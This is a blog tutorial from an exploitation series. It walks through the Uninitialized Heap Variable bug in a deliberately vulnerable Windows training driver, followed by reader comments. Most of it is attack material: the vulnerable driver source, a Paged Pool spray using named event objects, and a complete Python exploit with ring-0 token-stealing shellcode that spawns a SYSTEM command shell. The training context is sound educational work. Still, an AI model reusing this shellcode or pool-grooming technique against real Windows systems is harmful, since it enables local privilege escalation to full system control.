Overview
In the previous part, we looked into an Uninitialized Stack Variable vulnerability. In this part, we’ll discuss about another vulnerability on similar lines, Uninitialized Heap Variable. We’d be grooming Paged Pool in this one, so as to direct our execution flow to the shellcode.
Again, huge thanks to @hacksysteam for the driver.
Analysis
Let’s analyze the UninitializedHeapVariable.c file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) { ULONG_PTR UserValue = 0; ULONG_PTR MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_HEAP_VARIABLE), (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE)); // Allocate Pool chunk UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE) ExAllocatePoolWithTag(PagedPool, sizeof(UNINITIALIZED_HEAP_VARIABLE), (ULONG)POOL_TAG); if (!UninitializedHeapVariable) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(PagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(UNINITIALIZED_HEAP_VARIABLE)); DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable); } // Get the value from user mode UserValue = *(PULONG_PTR)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable); // Validate the magic value if (UserValue == MagicValue) { UninitializedHeapVariable->Value = UserValue; UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback; // Fill the buffer with ASCII 'A' RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41); // Null terminate the char buffer UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG_PTR)) - 1] = '\0'; } #ifdef SECURE else { DbgPrint("[+] Freeing UninitializedHeapVariable Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG); // Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable' // to NULL and checks for NULL pointer before calling the callback // Set to NULL to avoid dangling pointer UninitializedHeapVariable = NULL; } #else // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability // because the developer is not setting 'Value' & 'Callback' to definite known value // before calling the 'Callback' DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n"); #endif // Call the callback function if (UninitializedHeapVariable) { DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value); DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback); UninitializedHeapVariable->Callback(); } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; } |
Big code, but simple enough to understand. The variable UninitializedHeapVariable is being initialized with the address of the pool chunk. And it’s all good if UserValue == MagicValue, the value and callback are properly initialized and the program is checking that before calling the callback. But what if this comparison fails? From the code, it is clear that if it’s compiled as the SECURE version, the UninitializedHeapVariable is being set to NULL, so the callback won’t be called in the if statement. Insecure version on the other hand, doesn’t have any checks like this, and makes the callback to an uninitialized variable, that leads to our vulnerability.
Also, let’s have a look at the defined _UNINITIALIZED_HEAP_VARIABLE structure in UninitializedHeapVariable.h file:
1 2 3 4 5 |
typedef struct _UNINITIALIZED_HEAP_VARIABLE { ULONG_PTR Value; FunctionPointer Callback; ULONG_PTR Buffer[58]; } UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE; |
As we see here, it defines three members, out of which second one is the Callback, defined as a FunctionPointer. If we can somehow control the data on the Pool Chunk, we’d be able to control both the UninitializedHeapVariable and Callback.
All of this is more clear in the IDA screenshot:
Also, IOCTL for this would be 0x222033.
Exploitation
As usual, let’s start with our skeleton script, and with the correct Magic value:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) buf = "\xb0\xb0\xd0\xba" bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main() |
Everything passes through with no crash whatsoever. Let’s give some other UserValue, and see what happens.
We get an exception, and the Callback address here doesn’t seem to be a valid one. Cool, now we can proceed on building our exploit for this.
The main challenge for us here is grooming the Paged Pool with our user controlled data from User Land. One of the interfaces that does it are the Named Objects, and if you remember from previous post about Pool Feng-Shui, we know that our CreateEvent object is the one we can use here to groom our Lookaside list:
1 2 3 4 5 6 |
HANDLE WINAPI CreateEvent( _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes, _In_ BOOL bManualReset, _In_ BOOL bInitialState, _In_opt_ LPCTSTR lpName ); |
Most important thing to note here is that even though the event object itself is allocated to Non-Paged Pool, the last parameter, lpName of type LPCTSTR is actually allocated on the Paged Pool. And we can actually define what it contains, and it’s length.
Some other points to be noted here:
- We’d be grooming the Lookaside list, which are lazy activated only two minutes after the boot.
- Maximum Blocksize for Lookaside list is 0x20, and it only manages upto 256 chunks, after that, any additional chunks are managed by the ListHead.
- We need to allocate 256 objects of same size and then freeing them. If the list is not populated, then the allocation would come from ListHead list.
- We need to make sure that the string for the object name is random for each call to object constructor, as if same string is passed to consecutive calls to object constructor, then only one Pool chuck will be served for all further requests.
- We also need to make sure that our lpName shouldn’t contain any NULL characters, as that would change the length of the lpName, and the exploit would fail.
We’d be giving lpName a size of 0xF0, the header size would be 0x8, total 0xF8 chunks. The shellcode we’d borrow from our previous tutorial.
Combining all the things above, our final exploit would look like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): spray_event = [] kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) #Defining the ring0 shellcode and using VirtualProtect() to change the memory region attributes, as VirtualAlloc() was always assigning the memory in address containing NULL bytes. #And we can't have NULL bytes in our address, as if lpName contains NULL bytes, the length would be affected, and our exploitation would fail. shellcode = ( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) shellcode_address = id(shellcode) + 20 shellcode_address_struct = struct.pack("<L", shellcode_address) print "[+] Pointer for ring0 shellcode: {0}".format(hex(shellcode_address)) success = kernel32.VirtualProtect(shellcode_address, c_int(len(shellcode)), c_int(0x40), byref(c_long())) if success == 0x0: print "\t[+] Failed to change memory protection." sys.exit(-1) #Defining our static part of lpName, size 0xF0, adjusted according to the dynamic part and the initial shellcode address. static_lpName = "\x41\x41\x41\x41" + shellcode_address_struct + "\x42" * (0xF0-4-8-4) # Assigning 256 CreateEvent objects of same size. print "\n[+] Spraying Event Objects..." for i in xrange(256): dynamic_lpName = str(i).zfill(4) spray_event.append(kernel32.CreateEventW(None, True, False, c_char_p(static_lpName+dynamic_lpName))) if not spray_event[i]: print "\t[+] Failed to allocate Event object." sys.exit(-1) #Freeing the CreateEvent objects. print "\n[+] Freeing Event Objects..." for i in xrange(0, len(spray_event), 1): if not kernel32.CloseHandle(spray_event[i]): print "\t[+] Failed to close Event object." sys.exit(-1) buf = '\x37\x13\xd3\xba' bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222033, buf, bufLength, None, 0, byref(c_ulong()), None) print "\n[+] nt authority\system shell incoming" Popen("start cmd", shell=True) if __name__ == "__main__": main() |
And we get our nt authority\system shell:
awesome dude ! keep going this job !
Very hard
It’s not actually, just keep trying and learning.
Thanks. If use CreateEventA the exploit fail. We must use wild-character as lpName parameter?
I can’t say about what’s a wild-character??
But I think the exploit is failing due to encoding issues.
CreateEventA uses ANSI character encoding, while CreateEventW uses Unicode character encoding.
oh I’m sorry. I confused wild-character with Unicode.
I have wonder if I can exploit using CreateEventA function. So tried using CreateEventA function to exploit but it’s failed. As you said, maybe it’s related with encoding. I’ll try again. Thank you.
I tested with CreateEventA function and I could see that the lpName parameter Ansi string get conveted to Unicode string.
lpName = “A” * (0xF0 / 2)
hEvent = kernel32.CreateEventA(None, True, False, c_char_p(lpName))
In windbg debugger)
kd> dd eax
af7c5e18 00000000 00410041 00410041 00410041
af7c5e28 00410041 00410041 00410041 00410041
af7c5e38 00410041 00410041 00410041 00410041
af7c5e48 00410041 00410041 00410041 00410041
af7c5e58 00410041 00410041 00410041 00410041
af7c5e68 00410041 00410041 00410041 00410041
af7c5e78 00410041 00410041 00410041 00410041
So, it seems that it will always failed if I use A function.
Thank you for your article. It’s very helpful and waiting the next posting.